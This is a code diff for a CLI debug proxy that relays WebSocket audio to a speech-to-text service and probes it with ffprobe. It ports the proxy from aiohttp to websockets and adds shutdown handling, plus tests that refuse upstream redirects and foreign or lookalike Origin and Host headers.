+        upstream_url = self._upstream_base + target
 
         upstream_headers = {
             "Authorization": f"Token {self.api_key}",
         }
 
         console.print(
-            f"\n[green]New connection[/green] [{conn_id}] "
-            f"type={stream_type} path={path}"
+            Text.from_markup(
+                f"\n[green]New connection[/green] [{conn_id}] type={stream_type} path="
+            ),
+            untrusted(path),
+            sep="",
         )
 
         start_time = time.time()
         last_probe_time = start_time
         last_probe_bytes = 0
 
+        ws_upstream: ClientConnection | None = None
+        dropped = [0, 0]  # frames and bytes read but not relayed while stopping
+        self._live.add(ws_client)
         try:
-            async with (
-                aiohttp.ClientSession(
-                    trace_configs=[_refuse_redirects(upstream_url)]
-                ) as session,
-                session.ws_connect(
-                    upstream_url,
-                    headers=upstream_headers,
-                    timeout=aiohttp.ClientWSTimeout(ws_close=30.0),
-                ) as ws_upstream,
-            ):
+            connecting = asyncio.ensure_future(
+                self._connect_upstream(upstream_url, upstream_headers)
+            )
+            self._connecting.add(connecting)
+            try:
+                ws_upstream = await connecting
+            except RedirectRefused as e:
+                console.print(
+                    Text.from_markup(
+                        f"[red]Upstream connection refused[/red] [{conn_id}]: "
+                    ),
+                    untrusted(e.message),
+                    sep="",
+                )
+                return
+            except (WebSocketException, OSError, asyncio.TimeoutError) as e:
+                console.print(
+                    Text.from_markup(
+                        f"[red]Upstream connection failed[/red] [{conn_id}]: "
+                    ),
+                    untrusted(str(e)),
+                    sep="",
+                )
+                return
+            except asyncio.CancelledError:
+                if not self._aborting:
+                    raise
+                return  # abort() during the upstream handshake
+            finally:
+                self._connecting.discard(connecting)
+
+            self._live.add(ws_upstream)
+            async with ws_upstream:
 
                 async def forward_client_to_upstream() -> None:
                     nonlocal last_probe_time, last_probe_bytes
 
                     async for msg in ws_client:
-                        if msg.type == aiohttp.WSMsgType.BINARY:
-                            stats.bytes_sent += len(msg.data)
+                        if self._stop.is_set():
+                            # Shutting down: read past what the client queued
+                            # (so its close frame arrives) without relaying it
+                            # or probing it snapshot by snapshot.
+                            dropped[0] += 1
+                            dropped[1] += len(msg)
+                            continue
+                        if isinstance(msg, bytes):
+                            stats.bytes_sent += len(msg)
                             stats.frames_sent += 1
 
                             # Keep only the tail of the buffer to bound memory
-                            stats.audio_buffer += msg.data
+                            stats.audio_buffer += msg
                             if len(stats.audio_buffer) > self.MAX_BUFFER_BYTES:
                                 stats.audio_buffer = stats.audio_buffer[
                                     -self.MAX_BUFFER_BYTES :
                                 ]
 
-                            await ws_upstream.send_bytes(msg.data)
+                            await ws_upstream.send(msg)
 
                             if self.verbose:
-                                console.print(
-                                    f"  [dim]→ binary {len(msg.data)} bytes[/dim]"
-                                )
+                                console.print(f"  [dim]→ binary {len(msg)} bytes[/dim]")
 
                             # Check probe thresholds
                             now = time.time()
@@ -200,84 +305,147 @@ async def forward_client_to_upstream() -> None:
                                 bytes_since >= self.probe_interval_bytes
                                 or time_since >= self.probe_interval_seconds
                             ):
-                                self._run_probe_snapshot(stats, now)
+                                await self._run_probe_snapshot(stats, now)
                                 last_probe_time = now
                                 last_probe_bytes = stats.bytes_sent
-
-                        elif msg.type == aiohttp.WSMsgType.TEXT:
+                        else:
                             stats.text_frames_sent += 1
-                            await ws_upstream.send_str(msg.data)
-                        elif msg.type in (
-                            aiohttp.WSMsgType.CLOSE,
-                            aiohttp.WSMsgType.ERROR,
-                        ):
-                            break
+                            await ws_upstream.send(msg)
 
                 async def forward_upstream_to_client() -> None:
                     async for msg in ws_upstream:
-                        if ws_client.closed:
-                            break
-
-                        if msg.type == aiohttp.WSMsgType.BINARY:
-                            stats.bytes_received += len(msg.data)
+                        if isinstance(msg, bytes):
+                            stats.bytes_received += len(msg)
                             stats.frames_received += 1
-                            await ws_client.send_bytes(msg.data)
-                        elif msg.type == aiohttp.WSMsgType.TEXT:
+                            await ws_client.send(msg)
+                        else:
                             stats.text_frames_received += 1
-                            await ws_client.send_str(msg.data)
+                            await ws_client.send(msg)
 
                             # Parse transcript from Deepgram response
-                            self._parse_transcript(msg.data, stats)
-                        elif msg.type in (
-                            aiohttp.WSMsgType.CLOSE,
-                            aiohttp.WSMsgType.ERROR,
-                        ):
-                            break
-
-                # Run both forwarders concurrently. If one fails,
-                # cancel the other instead of letting it dangle.
-                task_c2u = asyncio.ensure_future(forward_client_to_upstream())
-                task_u2c = asyncio.ensure_future(forward_upstream_to_client())
-                try:
-                    await asyncio.gather(task_c2u, task_u2c)
-                except Exception:
-                    pass
-                finally:
-                    for task in (task_c2u, task_u2c):
-                        if not task.done():
-                            task.cancel()
-                    # Suppress CancelledError from the cancelled task
-                    await asyncio.gather(task_c2u, task_u2c, return_exceptions=True)
-
-        except RedirectRefused as e:
+                            self._parse_transcript(msg, stats)
+
+                await self._relay(
+                    forward_client_to_upstream(), forward_upstream_to_client()
+                )
+
+        except Exception as e:
             console.print(
-                f"[red]Upstream connection refused[/red] [{conn_id}]: "
-                f"{escape(e.message)}"
+                Text.from_markup(f"[red]Connection error[/red] [{conn_id}]: "),
+                untrusted(str(e)),
+                sep="",
             )
-        except aiohttp.ClientError as e:
-            console.print(f"[red]Upstream connection failed[/red] [{conn_id}]: {e}")
-        except Exception as e:
-            console.print(f"[red]Connection error[/red] [{conn_id}]: {e}")
         finally:
+            self._live.difference_update({ws_client, ws_upstream})
             stats.duration_seconds = time.time() - start_time
 
-            # Final probe
-            if stats.audio_buffer:
+            # Final probe (not after a second Ctrl+C)
+            if stats.audio_buffer and not self._aborting:
                 console.print(f"\n[bold]Final probe[/bold] [{conn_id}]:")
-                self._run_probe_snapshot(stats, time.time())
-
-            self._print_connection_summary(stats)
+                await self._run_probe_snapshot(stats, time.time())
 
-            if not ws_client.closed:
-                await ws_client.close()
+            self._print_connection_summary(stats, *dropped)
 
-        return ws_client
+            await ws_client.close(1000)
 
-    def _run_probe_snapshot(
+    async def _probe(self, audio: bytes) -> AudioProbeResult | None:
+        """ffprobe the audio, as probe_buffer does, as an asyncio subprocess:
+        other connections and Ctrl+C aren't held up, and abort() can stop it.
+        """
+        ffprobe_bin = get_ffprobe_path(self.config) if audio else None
+        if not ffprobe_bin:
+            return None
+        tmp_name = None
+        try:
+            with tempfile.NamedTemporaryFile(
+                suffix=".raw", delete=False, prefix="deepctl_probe_"
+            ) as tmp_file:
+                tmp_name = tmp_file.name
+                tmp_file.write(audio)
+            proc = await asyncio.create_subprocess_exec(
+                ffprobe_bin,
+                "-v",
+                "quiet",
+                "-print_format",
+                "json",
+                "-show_format",
+                "-show_streams",
+                tmp_name,
+                stdin=asyncio.subprocess.DEVNULL,
+                stdout=asyncio.subprocess.PIPE,
+                stderr=asyncio.subprocess.DEVNULL,
+                # its own process group, so stopping it also stops anything
+                # it started (a wrapper script's children hold stdout open)
+                start_new_session=True,
+            )
+            self._ffprobes.add(proc)
+            try:
+                out, _ = await asyncio.wait_for(proc.communicate(), 10)
+            except asyncio.TimeoutError:
+                await self._stop_ffprobe(proc)
+                return None
+            finally:
+                self._ffprobes.discard(proc)
+            if proc.returncode != 0:
+                return None
+            return _parse_probe_data(json.loads(out))
+        except (json.JSONDecodeError, OSError):
+            return None
+        finally:
+            if tmp_name:
+                with contextlib.suppress(OSError):
+                    os.unlink(tmp_name)
+
+    @staticmethod
+    async def _stop_ffprobe(proc: asyncio.subprocess.Process) -> None:
+        """SIGTERM to ffprobe's process group, up to 1 s to exit, then
+        SIGKILL."""
+
+        def send(sig: int) -> None:
+            with contextlib.suppress(ProcessLookupError, PermissionError):
+                if hasattr(os, "killpg"):
+                    os.killpg(proc.pid, sig)
+                else:  # Windows
+                    proc.send_signal(sig)
+
+        if proc.returncode is not None:
+            return
+        send(signal.SIGTERM)
+        try:
+            await asyncio.wait_for(proc.wait(), 1)
+        except asyncio.TimeoutError:
+            send(getattr(signal, "SIGKILL", signal.SIGTERM))
+            await proc.wait()
+
+    @staticmethod
+    async def _relay(*directions: Any) -> None:
+        """Run both directions; when either ends (a close, an error, or the
+        other side going away) cancel the other."""
+
+        async def quietly(direction: Any) -> None:
+            try:
+                await direction
+            except ConnectionClosed:
+                pass
+
+        tasks = [asyncio.ensure_future(quietly(d)) for d in directions]
+        try:
+            await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
+        finally:
+            for task in tasks:
+                if not task.done():
+                    task.cancel()
+            # Suppress CancelledError from the cancelled task
+            results = await asyncio.gather(*tasks, return_exceptions=True)
+        for result in results:
+            if isinstance(result, Exception):
+                raise result
+
+    async def _run_probe_snapshot(
         self, stats: ProbeConnectionStats, timestamp: float
     ) -> None:
         """Run a probe snapshot on the accumulated audio buffer."""
-        result = probe_buffer(stats.audio_buffer, "probe", self.config)
+        result = await self._probe(stats.audio_buffer)
         snapshot = ProbeSnapshot(
             timestamp=timestamp,
             bytes_at_probe=stats.bytes_sent,
@@ -323,13 +491,18 @@ def _parse_transcript(self, text: str, stats: ProbeConnectionStats) -> None:
                 if transcript and is_final:
                     stats.transcripts.append(transcript)
                     console.print(
-                        f"  [green]transcript[/green] [{stats.connection_id}]: "
-                        f"{transcript[:120]}"
+                        Text.from_markup(
+                            f"  [green]transcript[/green] [{stats.connection_id}]: "
+                        ),
+                        readable(transcript[:120]),
+                        sep="",
                     )
         except (json.JSONDecodeError, AttributeError):
             pass
 
-    def _print_connection_summary(self, stats: ProbeConnectionStats) -> None:
+    def _print_connection_summary(
+        self, stats: ProbeConnectionStats, dropped: int = 0, dropped_bytes: int = 0
+    ) -> None:
         """Print summary for a completed connection."""
         console.print(f"\n[blue]Connection closed[/blue] [{stats.connection_id}]")
         console.print(f"  Type: {stats.stream_type}")
@@ -348,6 +521,12 @@ def _print_connection_summary(self, stats: ProbeConnectionStats) -> None:
             f"({stats.frames_received} binary, "
             f"{stats.text_frames_received} text frames)"
         )
+        if dropped:
+            console.print(
+                "  Not forwarded (arrived while stopping): "
+                f"{dropped_bytes:,} {'byte' if dropped_bytes == 1 else 'bytes'} "
+                f"({dropped} {'frame' if dropped == 1 else 'frames'})"
+            )
         console.print(f"  Probe snapshots: {len(stats.snapshots)}")
         if stats.transcripts:
             console.print(f"  Transcripts received: {len(stats.transcripts)}")
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index 0cb0d903..34fa059d 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -1,13 +1,9 @@
 """Tests for debug probe command and proxy."""
 
-import asyncio
-import io
 import json
 from unittest.mock import Mock, patch
 
-import aiohttp
 import pytest
-from aiohttp import web
 from deepctl_cmd_debug_probe.command import ProbeCommand, _find_available_port
 from deepctl_cmd_debug_probe.models import (
     ProbeConnectionStats,
@@ -15,7 +11,6 @@
     ProbeSnapshot,
 )
 from deepctl_cmd_debug_probe.proxy import ProbeProxy
-from rich.console import Console
 
 
 class TestModels:
@@ -191,31 +186,24 @@ def test_all_ports_taken(self, mock_socket_cls):
         assert port is None
 
 
-_REAL_SESSION = aiohttp.ClientSession
-
-
-class _PlainUpstream:
-    """A real aiohttp session whose ws_connect goes over plain http to a
-    loopback stub instead of wss. It takes the same arguments as
-    ClientSession, so the proxy's trace hook is installed as usual."""
-
-    def __init__(self, *args, **kwargs):
-        self._session = _REAL_SESSION(*args, **kwargs)
-
-    async def __aenter__(self):
-        await self._session.__aenter__()
-        return self
-
-    async def __aexit__(self, *exc):
-        return await self._session.__aexit__(*exc)
-
-    def ws_connect(self, url, **kwargs):
-        return self._session.ws_connect(url.replace("wss://", "http://", 1), **kwargs)
+IMPORT_CHECK = (
+    "import sys, deepctl_core; before = set(sys.modules); "
+    "import deepctl_cmd_debug_probe.command; "
+    "bad = sorted(m for m in set(sys.modules) - before for f in "
+    "('asyncio', 'ssl', 'websockets', 'aiohttp') if m == f or m.startswith(f + '.')); "
+    "print(' '.join(bad))"
+)
 
 
 def _probe_through_redirect(location: str):
     """Proxy one client stream to an upstream that answers the upgrade with
     a redirect. Returns (origin requests, target requests, console text)."""
+    import asyncio
+    import io
+
+    from rich.console import Console
+    from websockets.asyncio.client import connect as ws_connect
+
     origin_reqs: list[bytes] = []
     target_reqs: list[bytes] = []
 
@@ -242,37 +230,33 @@ async def target(reader, writer):
             target_reqs.append(await read_head(reader) or b"<conn>")
             writer.close()
 
+        stubs = []
         for name, handler in (("origin", origin), ("target", target)):
             srv = await asyncio.start_server(handler, "127.0.0.1", 0)
+            stubs.append(srv)
             ports[name] = srv.sockets[0].getsockname()[1]
 
-        proxy = ProbeProxy(
-            api_key="fa1ce0000000000000000000000000000000000d",
-            upstream_host=f"127.0.0.1:{ports['origin']}",
-        )
-        app = web.Application()
-        app.router.add_route("GET", "/{path:.*}", proxy.handle_connection)
-        runner = web.AppRunner(app)
-        await runner.setup()
-        site = web.TCPSite(runner, "127.0.0.1", 0)
-        await site.start()
-        port = runner.addresses[0][1]
+        proxy = ProbeProxy(api_key="fa1ce0000000000000000000000000000000000d")
+        proxy._upstream_base = f"ws://127.0.0.1:{ports['origin']}"
+        server = await proxy.start(0)
+        port = next(iter(server.sockets)).getsockname()[1]
         try:
-            async with _REAL_SESSION() as client:
-                ws = await client.ws_connect(f"http://127.0.0.1:{port}/v1/listen?x=1")
-                await ws.send_bytes(b"\0\0" * 800)
-                await asyncio.wait_for(ws.receive(), 5)
-                await ws.close()
+            async with ws_connect(f"ws://127.0.0.1:{port}/v1/listen?x=1") as ws:
+                await ws.send(b"\0\0" * 800)
+                try:
+                    await asyncio.wait_for(ws.recv(), 5)
+                except Exception:
+                    pass
         finally:
-            await runner.cleanup()
+            server.close()
+            await server.wait_closed()
+            for srv in stubs:
+                srv.close()
 
     out = io.StringIO()
-    with (
-        patch("deepctl_cmd_debug_probe.proxy.aiohttp.ClientSession", _PlainUpstream),
-        patch(
-            "deepctl_cmd_debug_probe.proxy.console",
-            Console(file=out, force_terminal=False, width=300),
-        ),
+    with patch(
+        "deepctl_cmd_debug_probe.proxy.console",
+        Console(file=out, force_terminal=False, width=300),
     ):
         asyncio.run(run())
     return origin_reqs, target_reqs, out.getvalue()
@@ -281,7 +265,6 @@ async def target(reader, writer):
 class TestProbeUpstreamRedirect:
     """The upstream connect never follows a redirect."""
 
-    # aiohttp follows http(s) Locations itself; ws:// ones it rejects.
     @pytest.mark.parametrize(
         "location", ["http://{target}/second", "ws://{target}/second", "/second"]
     )
@@ -289,6 +272,7 @@ def test_redirect_refused_and_nothing_reaches_the_target(self, location):
         origin, target, text = _probe_through_redirect(location)
         assert target == []
         assert len(origin) == 1
+        assert b"Token fa1ce0" in origin[0]
         assert "Upstream connection refused" in text
         assert "dg debug probe doesn't follow redirects, so no audio was sent." in (
             " ".join(text.split())
@@ -296,94 +280,205 @@ def test_redirect_refused_and_nothing_reaches_the_target(self, location):
         assert "fa1ce0" not in text
 
 
-class _CountingSession:
-    """Stands in for aiohttp.ClientSession; counts upstream connect attempts."""
+def test_command_module_adds_no_network_stack_on_import():
+    """`dg debug probe --help` must not pay for websockets or asyncio."""
+    import subprocess
+    import sys
 
-    connects = 0
+    proc = subprocess.run(
+        [sys.executable, "-c", IMPORT_CHECK],
+        capture_output=True,
+        text=True,
+        timeout=120,
+    )
+    assert proc.returncode == 0, proc.stderr[-1500:]
+    assert proc.stdout.strip() == ""
 
-    def __init__(self, *args, **kwargs):
-        pass
 
-    async def __aenter__(self):
-        return self
+def _free_port() -> int:
+    import socket
 
-    async def __aexit__(self, *exc):
-        return False
+    with socket.socket() as s:
+        s.bind(("127.0.0.1", 0))
+        return int(s.getsockname()[1])
 
-    def ws_connect(self, *args, **kwargs):
-        type(self).connects += 1
-        raise aiohttp.ClientError("no upstream in tests")
 
+def _run_probe(**proxy_hooks):
+    """Run ProbeCommand.handle with a fake key and ffprobe check. Each hook
+    is a callable(proxy, loop, port) run when the proxy starts serving."""
+    from deepctl_cmd_debug_probe import proxy as proxymod
 
-def _handshake(headers: list[tuple[str, str]] | None, host: str | None = None):
-    """Start a real proxy on 127.0.0.1, send one upgrade request, return
-    (status line, response bytes, upstream connects, console text).
+    original = proxymod.ProbeProxy.run
 
-    host is a format string; {port} becomes the listener's port.
-    """
+    async def run(self, port):
+        import asyncio
 
-    async def run():
-        proxy = ProbeProxy(api_key="fa1ce0000000000000000000000000000000000d")
-        app = web.Application()
-        app.router.add_route("GET", "/{path:.*}", proxy.handle_connection)
-        runner = web.AppRunner(app)
-        await runner.setup()
-        site = web.TCPSite(runner, "127.0.0.1", 0)
-        await site.start()
-        port = runner.addresses[0][1]
-        try:
-            reader, writer = await asyncio.open_connection("127.0.0.1", port)
-            lines = [
-                "GET /v1/listen?encoding=linear16 HTTP/1.1",
-                "Host: " + (host or "127.0.0.1:{port}").format(port=port),
-                "Upgrade: websocket",
-                "Connection: Upgrade",
-                "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==",
-                "Sec-WebSocket-Version: 13",
-            ]
-            lines += [f"{k}: {v}" for k, v in (headers or [])]
-            writer.write(("\r\n".join(lines) + "\r\n\r\n").encode())
-            await writer.drain()
-            data = await asyncio.wait_for(reader.read(4096), 5)
-            # Let an accepted handler reach the upstream connect.
-            for _ in range(50):
-                if _CountingSession.connects or not data.startswith(b"HTTP/1.1 101"):
-                    break
-                await asyncio.sleep(0.01)
-            writer.close()
-            return data
-        finally:
-            await runner.cleanup()
+        loop = asyncio.get_running_loop()
+        for hook in proxy_hooks.values():
+            hook(self, loop, port)
+        await original(self, port)
 
-    _CountingSession.connects = 0
-    out = io.StringIO()
+    auth = Mock()
+    auth.get_api_key.return_value = "fa1ce0000000000000000000000000000000000d"
     with (
-        patch("deepctl_cmd_debug_probe.proxy.aiohttp.ClientSession", _CountingSession),
-        patch(
-            "deepctl_cmd_debug_probe.proxy.console",
-            Console(file=out, force_terminal=False, width=200),
-        ),
+        patch("deepctl_cmd_debug_probe.command.require_ffprobe", return_value=True),
+        patch.object(proxymod.ProbeProxy, "run", run),
     ):
-        data = asyncio.run(run())
-    status = data.split(b"\r\n", 1)[0].decode()
-    return status, data, _CountingSession.connects, out.getvalue()
+        return ProbeCommand().handle(Mock(), auth, Mock(), port=_free_port())
+
+
+class TestInterrupt:
+    """Ctrl+C handling in handle(): POSIX signal handler, Windows fallback."""
+
+    def test_sigint_on_the_loop_stops_and_restores_the_previous_handler(
+        self, capsys
+    ):
+        import os
+        import signal
+
+        seen = []
+
+        def custom(signum, frame):  # pragma: no cover - never called
+            seen.append(signum)
+
+        old = signal.signal(signal.SIGINT, custom)
+        try:
+            result = _run_probe(
+                kill=lambda proxy, loop, port: loop.call_later(
+                    0.3, os.kill, os.getpid(), signal.SIGINT
+                )
+            )
+            assert signal.getsignal(signal.SIGINT) is custom
+        finally:
+            signal.signal(signal.SIGINT, old)
+        assert result.status == "success"
+        assert seen == []
+        assert "Shutting down probe proxy" in capsys.readouterr().out
+
+    def test_ignored_sigint_stays_ignored(self):
+        """A background job in a script starts with SIGINT ignored: kill -INT
+        must not stop the proxy, and SIGINT stays ignored afterwards."""
+        import json
+        import subprocess
+        import sys
+
+        code = """
+import json, os, signal, sys
+sys.path[:0] = {path!r}
+signal.signal(signal.SIGINT, signal.SIG_IGN)
+from test_probe import _run_probe
+def hooks(proxy, loop, port):
+    loop.call_later(0.3, os.kill, os.getpid(), signal.SIGINT)
+    loop.call_later(1.5, proxy._stop.set)
+result = _run_probe(hooks=hooks)
+ign = [l for l in open("/proc/self/status") if l.startswith("SigIgn")]
+print(json.dumps({{
+    "status": result.status,
+    "ignored": signal.getsignal(signal.SIGINT) is signal.SIG_IGN,
+    "sigign": ign[0].split()[1] if ign else None,
+}}))
+""".format(path=[str(__import__("pathlib").Path(__file__).parent)])
+        proc = subprocess.run(
+            [sys.executable, "-c", code], capture_output=True, text=True, timeout=60
+        )
+        assert proc.returncode == 0, proc.stderr[-2000:]
+        out = json.loads(proc.stdout.strip().splitlines()[-1])
+        assert out["status"] == "success"
+        assert out["ignored"] is True
+        if out["sigign"] is not None:  # Linux: the SIGINT bit is still set
+            assert int(out["sigign"], 16) & (1 << (2 - 1))
+        assert "Shutting down probe proxy" not in proc.stdout
+
+    def test_keyboard_interrupt_path_first_and_second_press(self, capsys):
+        """Where the loop can't take SIGINT (Windows), Ctrl+C raises
+        KeyboardInterrupt from the loop: the first stops listening and the
+        second aborts open connections."""
+        import time
+
+        from deepctl_cmd_debug_probe import command as cmdmod
+
+        def press(*_args):
+            raise KeyboardInterrupt
+
+        calls = []
+
+        def hooks(proxy, loop, port):
+            original = proxy.abort
+
+            def abort():
+                calls.append("abort")
+                original()
+
+            proxy.abort = abort
+            # keep a connection open so the first press can't finish at once
+            loop.create_task(_hold_connection(proxy, port))
+            loop.call_later(0.5, press)
+            loop.call_later(0.8, press)
+
+        with patch.object(
+            cmdmod, "_handle_sigint", lambda loop, cb: (False, None)
+        ):
+            t0 = time.monotonic()
+            result = _run_probe(hooks=hooks)
+        assert time.monotonic() - t0 < 10
+        assert result.status == "success"
+        assert calls == ["abort"]
+        assert "Shutting down probe proxy" in capsys.readouterr().out
+
+
+async def _hold_connection(proxy, port):
+    """Open a connection through `proxy` whose upstream never answers the
+    handshake, so shutdown waits for it until abort()."""
+    import asyncio
+
+    from websockets.asyncio.client import connect
+
+    async def never(reader, writer):
+        await reader.read()  # never answers; ends when the proxy hangs up
+        writer.close()
+
+    hang = await asyncio.start_server(never, "127.0.0.1", 0)
+    proxy._upstream_base = f"ws://127.0.0.1:{hang.sockets[0].getsockname()[1]}"
+    for _ in range(100):
+        try:
+            ws = await connect(f"ws://127.0.0.1:{port}/v1/listen")
+            break
+        except OSError:
+            await asyncio.sleep(0.02)
+    await ws.wait_closed()
+    hang.close()
 
 
 class TestProbeConnectionChecks:
-    """Only local pages and native clients may use the proxy."""
+    """0.4.2's Host and Origin cases, on the websockets proxy: checked in
+    process_request, before the handshake and any upstream connection."""
+
+    KEY = "fa1ce0000000000000000000000000000000000d"
+
+    def _status(self, headers, port=3100):
+        from websockets.datastructures import Headers
+        from websockets.http11 import Request
+
+        class Conn:
+            local_address = ("127.0.0.1", port)
 
-    def test_foreign_origin_refused_before_upstream(self):
-        status, data, connects, text = _handshake([("Origin", "https://evil.example")])
-        assert status == "HTTP/1.1 403 Forbidden"
-        assert connects == 0
-        assert b"evil" not in data
-        assert "[conn] refused: origin not allowed" in text
-        assert "evil" not in text
+            def respond(self, status, text):
+                assert text == "Forbidden.\n"
+                return status
+
+        if not any(k == "Host" for k, _ in headers):
+            headers = [("Host", f"127.0.0.1:{port}"), *headers]
+        request = Request(
+            "/v1/listen?encoding=linear16",
+            Headers([*headers, ("Upgrade", "websocket")]),
+        )
+        return ProbeProxy(api_key=self.KEY).process_request(Conn(), request)
+
+    def test_foreign_origin_refused(self):
+        assert self._status([("Origin", "https://evil.example")]) == 403
 
     def test_null_origin_refused(self):
-        status, _, connects, _ = _handshake([("Origin", "null")])
-        assert status == "HTTP/1.1 403 Forbidden"
-        assert connects == 0
+        assert self._status([("Origin", "null")]) == 403
 
     @pytest.mark.parametrize(
         "origin",
@@ -395,10 +490,7 @@ def test_null_origin_refused(self):
         ],
     )
     def test_loopback_origin_allowed(self, origin):
-        status, _, connects, text = _handshake([("Origin", origin)])
-        assert status == "HTTP/1.1 101 Switching Protocols"
-        assert connects == 1
-        assert "refused" not in text
+        assert self._status([("Origin", origin)]) is None
 
     @pytest.mark.parametrize(
         "origin",
@@ -411,33 +503,20 @@ def test_loopback_origin_allowed(self, origin):
         ],
     )
     def test_lookalike_origin_refused(self, origin):
-        status, _, connects, _ = _handshake([("Origin", origin)])
-        assert status == "HTTP/1.1 403 Forbidden"
-        assert connects == 0
+        assert self._status([("Origin", origin)]) == 403
 
     def test_two_origins_refused(self):
-        status, _, connects, _ = _handshake(
-            [("Origin", "http://localhost:5173"), ("Origin", "https://evil.example")]
-        )
-        assert status == "HTTP/1.1 403 Forbidden"
-        assert connects == 0
+        headers = [("Origin", "http://localhost:5173"), ("Origin", "https://evil.example")]
+        assert self._status(headers) == 403
 
     def test_no_origin_allowed(self):
-        status, _, connects, _ = _handshake([])
-        assert status == "HTTP/1.1 101 Switching Protocols"
-        assert connects == 1
+        assert self._status([]) is None
 
     def test_localhost_host_allowed_any_case(self):
-        status, _, connects, _ = _handshake([], host="LocalHost:{port}")
-        assert status == "HTTP/1.1 101 Switching Protocols"
-        assert connects == 1
+        assert self._status([("Host", "LocalHost:3100")]) is None
 
     @pytest.mark.parametrize(
         "host", ["evil.example:3100", "evil.example", "localhost", "127.0.0.1:1"]
     )
     def test_foreign_host_refused(self, host):
-        status, data, connects, text = _handshake([], host=host)
-        assert status == "HTTP/1.1 403 Forbidden"
-        assert connects == 0
-        assert b"evil" not in data
-        assert "[conn] refused: host not allowed" in text
+        assert self._status([("Host", host)]) == 403
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
new file mode 100644
index 00000000..43eeda4b
--- /dev/null
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
@@ -0,0 +1,737 @@
+"""The probe proxy against real loopback servers: relay, refusals, run loop.
+
+The upstream is a websockets server on a free 127.0.0.1 port, reached
+through the proxy's `_upstream_base` seam. Nothing is mocked.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import hashlib
+import json
+import logging
+from typing import TYPE_CHECKING, Any
+
+import pytest
+from deepctl_cmd_debug_probe.proxy import ProbeProxy
+from websockets.asyncio.client import connect
+from websockets.asyncio.server import serve
+from websockets.exceptions import ConnectionClosed
+
+if TYPE_CHECKING:
+    from websockets.datastructures import Headers
+    from websockets.http11 import Response
+
+KEY = "fa1ce0000000000000000000000000000000000d"
+RESULTS = json.dumps(
+    {
+        "type": "Results",
+        "is_final": True,
+        "channel": {"alternatives": [{"transcript": "fake words"}]},
+    }
+)
+
+
+_SILENT = logging.getLogger("test.fake-upstream")
+_SILENT.propagate = False
+_SILENT.setLevel(logging.CRITICAL + 1)
+
+
+class FakeUpstream:
+    """Records each handshake's headers and echoes every frame back."""
+
+    def __init__(self, status: int = 101) -> None:
+        self.status = status
+        self.handshakes: list[Headers] = []
+        self.paths: list[str] = []
+        self.received: list[str | bytes] = []
+
+    def process_request(self, connection: Any, request: Any) -> Response | None:
+        self.handshakes.append(request.headers)
+        self.paths.append(request.path)
+        if self.status != 101:
+            return connection.respond(self.status, "Unauthorized.\n")
+        return None
+
+    async def handler(self, ws: Any) -> None:
+        await ws.send(RESULTS)
+        async for msg in ws:
+            self.received.append(msg)
+            await ws.send(msg)
+
+    async def __aenter__(self) -> FakeUpstream:
+        self.server = await serve(
+            self.handler,
+            "127.0.0.1",
+            0,
+            process_request=self.process_request,
+            max_size=8 * 2**20,
+            # The fake's own handshake log would show the key it receives.
+            logger=_SILENT,
+        )
+        self.port = next(iter(self.server.sockets)).getsockname()[1]
+        return self
+
+    async def __aexit__(self, *exc: object) -> None:
+        self.server.close()
+        await self.server.wait_closed()
+
+
+class Proxy:
+    """A ProbeProxy listening on a free port, pointed at `upstream`."""
+
+    def __init__(self, upstream: FakeUpstream) -> None:
+        self.proxy = ProbeProxy(api_key=KEY, probe_interval_bytes=10**9)
+        self.proxy._upstream_base = f"ws://127.0.0.1:{upstream.port}"
+
+    async def __aenter__(self) -> Proxy:
+        self.server = await self.proxy.start(0)
+        self.port = next(iter(self.server.sockets)).getsockname()[1]
+        return self
+
+    async def __aexit__(self, *exc: object) -> None:
+        self.server.close()
+        await self.server.wait_closed()
+
+
+async def _status(port: int, request: str) -> tuple[int, bytes]:
+    """Status and body; status 0 if the server closed without a response."""
+    reader, writer = await asyncio.open_connection("127.0.0.1", port)
+    writer.write(request.encode("latin-1"))
+    await writer.drain()
+    try:
+        head = await asyncio.wait_for(reader.readuntil(b"\r\n\r\n"), 10)
+    except asyncio.IncompleteReadError:
+        writer.close()
+        return 0, b""
+    status = int(head.split()[1])
+    body = b""
+    if status != 101:
+        body = await asyncio.wait_for(reader.read(), 10)
+    writer.close()
+    return status, body
+
+
+def _upgrade(port: int, target: str = "/v1/listen", **headers: str) -> str:
+    lines = [
+        f"GET {target} HTTP/1.1",
+        f"Host: {headers.pop('Host', f'127.0.0.1:{port}')}",
+        "Upgrade: websocket",
+        "Connection: Upgrade",
+        "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==",
+        "Sec-WebSocket-Version: 13",
+        *(f"{k}: {v}" for k, v in headers.items()),
+    ]
+    return "\r\n".join(lines) + "\r\n\r\n"
+
+
+def test_relay_preserves_frames_and_uses_only_the_proxy_key(capsys):
+    frames: list[str | bytes] = [bytes(range(256)) * 32 for _ in range(5)]
+    frames.insert(2, '{"type": "KeepAlive"}')
+    frames.append(b"\x01\x02" * 2**20)  # one 2 MiB frame
+
+    async def main() -> tuple[FakeUpstream, list[str | bytes], ProbeProxy]:
+        async with FakeUpstream() as up, Proxy(up) as px:
+            echoed: list[str | bytes] = []
+            url = f"ws://127.0.0.1:{px.port}/v1/listen?encoding=linear16&x=%20y"
+            async with connect(
+                url,
+                additional_headers={"Authorization": "Token client-own-key"},
+                subprotocols=["token", "client-subprotocol-key"],  # type: ignore[list-item]
+                max_size=8 * 2**20,
+            ) as ws:
+                assert await ws.recv() == RESULTS
+                for frame in frames:
+                    await ws.send(frame)
+                    echoed.append(await ws.recv())
+            for _ in range(100):
+                if px.proxy.connections[0].duration_seconds is not None:
+                    break
+                await asyncio.sleep(0.02)
+            return up, echoed, px.proxy
+
+    up, echoed, proxy = asyncio.run(main())
+
+    assert up.received == frames
+    assert echoed == frames
+    assert [type(f) for f in echoed] == [type(f) for f in frames]
